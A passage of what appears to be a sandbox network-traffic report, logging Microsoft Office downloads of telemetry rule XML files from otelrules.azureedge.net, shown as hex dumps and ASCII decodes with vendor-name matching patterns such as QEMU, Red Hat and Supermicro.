0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.4	49817	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:30 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:30 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 4e972348-801e-00ac-276d-28fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181230Z-r1755647c66x7vzx9armv8e3cw000000075g0000000000c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:30 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49818	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:30 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 9cbc4178-801e-008f-12a3-262c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181230Z-r1755647c66gqcpzhw8q9nhnq000000006600000000055kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49819	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:30 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: ffa56774-c01e-007a-6c38-26b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181230Z-r1755647c6688lj6g0wg0rqr1400000005ng000000005bd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49820	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:30 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2e5beeba-d01e-002b-6c67-2825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181230Z-r1755647c66ss75qkr31zpy1kc0000000510000000009vkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.4	49821	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:30 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:30 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: df53dfe1-801e-0067-2856-23fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181230Z-17fbfdc98bb8lw78ye6qppf97g00000005v000000000cgr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:30 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.4	49822	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:30 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:31 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 321a447c-801e-002a-4da3-2631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181231Z-r1755647c66gqcpzhw8q9nhnq000000006600000000055mf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:31 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.4	49823	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:31 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: b7beb219-701e-0097-1404-27b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181231Z-r1755647c666qwwlm3r555dyqc00000005g000000000g04t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 18:12:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.4	49824	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:31 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:31 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 6741ff86-f01e-00aa-74b9-268521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181231Z-r1755647c66hlhp26bqv22ant400000005hg000000009kqd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:31 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.4	49825	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:31 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:31 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 8e6218f7-d01e-0066-7d57-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181231Z-17fbfdc98bbsw6nnfh43fuwvyn00000003k0000000004qqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:31 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49826	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:31 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 48ec36c7-d01e-00a1-338d-2735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181231Z-17fbfdc98bbh7l5skzh3rekksc00000006tg00000000696u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49828	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:32 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 44c43cee-601e-003e-459c-273248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181232Z-r1755647c66vkwr5neys93e0h400000004w000000000dqgc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 18:12:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49827	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 18:12:32 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 18:12:32 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 18:12:32 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: ea5c4bf4-701e-000d-56e3-256de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T181232Z-r1755647c66bdj57qqnd8h5hp80000000640000000001twh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
